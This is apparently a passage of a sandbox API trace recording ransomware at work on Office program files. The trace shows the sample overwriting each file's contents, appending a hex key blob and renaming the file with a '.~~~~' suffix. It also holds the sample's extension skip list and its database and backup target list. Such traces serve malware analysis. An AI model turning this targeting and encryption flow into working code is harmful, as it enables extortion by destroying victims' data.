	[0142.186] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.186] GetLastError () returned 0x0
	[0142.187] GetLastError () returned 0x0
	[0142.187] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x445d, lpOverlapped=0x0) returned 1
	[0142.189] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffbba3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.189] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x445d, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x445d, lpOverlapped=0x0) returned 1
	[0142.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.190] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.190] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.190] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.190] CloseHandle (hObject=0xc4) returned 1
	[0142.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f50d8
	[0142.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif.~~~~")) returned 1
	[0142.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.193] GetLastError () returned 0x0
	[0142.193] RtlWakeConditionVariable () returned 0x0
	[0142.193] GetCurrentThreadId () returned 0x3a4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".scr") returned 0x0
	[0142.193] lstrlenW (lpString=".cmd") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".cmd") returned 0x0
	[0142.193] lstrlenW (lpString=".dll") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dll") returned 0x0
	[0142.193] lstrlenW (lpString=".bat") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".bat") returned 0x0
	[0142.193] lstrlenW (lpString=".cpl") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".cpl") returned 0x0
	[0142.193] lstrlenW (lpString=".sys") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".sys") returned 0x0
	[0142.193] lstrlenW (lpString=".msc") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".msc") returned 0x0
	[0142.193] lstrlenW (lpString=".com") returned 4
	[0142.193] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".com") returned 0x0
	[0142.193] lstrlenW (lpString=".lnk") returned 4
	[0142.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".lnk") returned 0x0
	[0142.194] lstrlenW (lpString=".msp") returned 4
	[0142.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".msp") returned 0x0
	[0142.194] lstrlenW (lpString=".pif") returned 4
	[0142.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".pif") returned 0x0
	[0142.194] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.196] lstrlenW (lpString=".sqb") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".sqb") returned 0x0
	[0142.196] lstrlenW (lpString=".ost") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".ost") returned 0x0
	[0142.196] lstrlenW (lpString=".txt") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".txt") returned 0x0
	[0142.196] lstrlenW (lpString=".mdt") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".mdt") returned 0x0
	[0142.196] lstrlenW (lpString=".BDB") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".BDB") returned 0x0
	[0142.196] lstrlenW (lpString=".eql") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".eql") returned 0x0
	[0142.196] lstrlenW (lpString=".DBF") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DBF") returned 0x0
	[0142.196] lstrlenW (lpString=".EQL") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".EQL") returned 0x0
	[0142.196] lstrlenW (lpString=".FDB") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".FDB") returned 0x0
	[0142.196] lstrlenW (lpString=".EDB") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".EDB") returned 0x0
	[0142.196] lstrlenW (lpString=".DACPAC") returned 7
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.196] lstrlenW (lpString=".VHD") returned 4
	[0142.196] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".VHD") returned 0x0
	[0142.196] lstrlenW (lpString=".DBV") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DBV") returned 0x0
	[0142.197] lstrlenW (lpString=".dacpac") returned 7
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.197] lstrlenW (lpString=".sdf") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".sdf") returned 0x0
	[0142.197] lstrlenW (lpString=".accdb") returned 6
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".accdb") returned 0x0
	[0142.197] lstrlenW (lpString=".DBX") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DBX") returned 0x0
	[0142.197] lstrlenW (lpString=".MDT") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".MDT") returned 0x0
	[0142.197] lstrlenW (lpString=".SQB") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".SQB") returned 0x0
	[0142.197] lstrlenW (lpString=".vhd") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".vhd") returned 0x0
	[0142.197] lstrlenW (lpString=".bac") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".bac") returned 0x0
	[0142.197] lstrlenW (lpString=".mdf") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".mdf") returned 0x0
	[0142.197] lstrlenW (lpString=".BAK") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".BAK") returned 0x0
	[0142.197] lstrlenW (lpString=".BAC") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".BAC") returned 0x0
	[0142.197] lstrlenW (lpString=".dbs") returned 4
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dbs") returned 0x0
	[0142.197] lstrlenW (lpString=".vhdx") returned 5
	[0142.197] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.198] lstrlenW (lpString=".NDF") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".NDF") returned 0x0
	[0142.198] lstrlenW (lpString=".dat") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dat") returned 0x0
	[0142.198] lstrlenW (lpString=".DBS") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DBS") returned 0x0
	[0142.198] lstrlenW (lpString=".CKP") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".CKP") returned 0x0
	[0142.198] lstrlenW (lpString=".edb") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".edb") returned 0x0
	[0142.198] lstrlenW (lpString=".PST") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".PST") returned 0x0
	[0142.198] lstrlenW (lpString=".dbf") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dbf") returned 0x0
	[0142.198] lstrlenW (lpString=".SQL") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".SQL") returned 0x0
	[0142.198] lstrlenW (lpString=".pst") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".pst") returned 0x0
	[0142.198] lstrlenW (lpString=".dbv") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dbv") returned 0x0
	[0142.198] lstrlenW (lpString=".SDF") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".SDF") returned 0x0
	[0142.198] lstrlenW (lpString=".dtxs") returned 5
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.198] lstrlenW (lpString=".db3") returned 4
	[0142.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".db3") returned 0x0
	[0142.198] lstrlenW (lpString=".OST") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".OST") returned 0x0
	[0142.199] lstrlenW (lpString=".dbx") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dbx") returned 0x0
	[0142.199] lstrlenW (lpString=".DB3") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DB3") returned 0x0
	[0142.199] lstrlenW (lpString=".DAT") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DAT") returned 0x0
	[0142.199] lstrlenW (lpString=".VHDX") returned 5
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.199] lstrlenW (lpString=".ndf") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".ndf") returned 0x0
	[0142.199] lstrlenW (lpString=".DB") returned 3
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DB") returned 0x0
	[0142.199] lstrlenW (lpString=".sql") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".sql") returned 0x0
	[0142.199] lstrlenW (lpString=".MYD") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".MYD") returned 0x0
	[0142.199] lstrlenW (lpString=".DBT") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DBT") returned 0x0
	[0142.199] lstrlenW (lpString=".ACCDB") returned 6
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.199] lstrlenW (lpString=".fdb") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".fdb") returned 0x0
	[0142.199] lstrlenW (lpString=".bak") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".bak") returned 0x0
	[0142.199] lstrlenW (lpString=".myd") returned 4
	[0142.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".myd") returned 0x0
	[0142.199] lstrlenW (lpString=".DTXS") returned 5
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.200] lstrlenW (lpString=".ckp") returned 4
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".ckp") returned 0x0
	[0142.200] lstrlenW (lpString=".dbt") returned 4
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".dbt") returned 0x0
	[0142.200] lstrlenW (lpString=".db") returned 3
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".db") returned 0x0
	[0142.200] lstrlenW (lpString=".TXT") returned 4
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".TXT") returned 0x0
	[0142.200] lstrlenW (lpString=".MDF") returned 4
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".MDF") returned 0x0
	[0142.200] lstrlenW (lpString=".bdb") returned 4
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".bdb") returned 0x0
	[0142.200] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0142.200] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.200] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.201] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.201] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.201] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0142.202] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26219176304) returned 1
	[0142.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe28f010, dwHighDateTime=0x1d60e1e)) 
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3728
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3728 | out: hHeap=0x300000) returned 1
	[0142.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f50d8
	[0142.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6a08
	[0142.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f50d8 | out: hHeap=0x300000) returned 1
	[0142.203] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.203] GetLastError () returned 0x0
	[0142.203] GetLastError () returned 0x0
	[0142.203] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.204] GetLastError () returned 0x0
	[0142.204] GetLastError () returned 0x0
	[0142.204] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x5aec, lpOverlapped=0x0) returned 1
	[0142.353] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffa514, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.353] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x5aec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x5aec, lpOverlapped=0x0) returned 1
	[0142.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.353] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.353] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.353] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.353] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.353] CloseHandle (hObject=0xc4) returned 1
	[0142.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9360
	[0142.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif.~~~~")) returned 1
	[0142.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9360 | out: hHeap=0x300000) returned 1
	[0142.466] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0142.466] GetLastError () returned 0x0
	[0142.466] RtlWakeConditionVariable () returned 0x0
	[0142.466] GetCurrentThreadId () returned 0x3a4
	[0142.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".scr") returned 0x0
	[0142.466] lstrlenW (lpString=".cmd") returned 4
	[0142.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".cmd") returned 0x0
	[0142.466] lstrlenW (lpString=".dll") returned 4
	[0142.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".dll") returned 0x0
	[0142.466] lstrlenW (lpString=".bat") returned 4
	[0142.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".bat") returned 0x0
	[0142.466] lstrlenW (lpString=".cpl") returned 4
	[0142.466] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF", lpSrch=".cpl") returned 0x0
	[0142.466] lstrlenW (lpString=".sys") returned 4
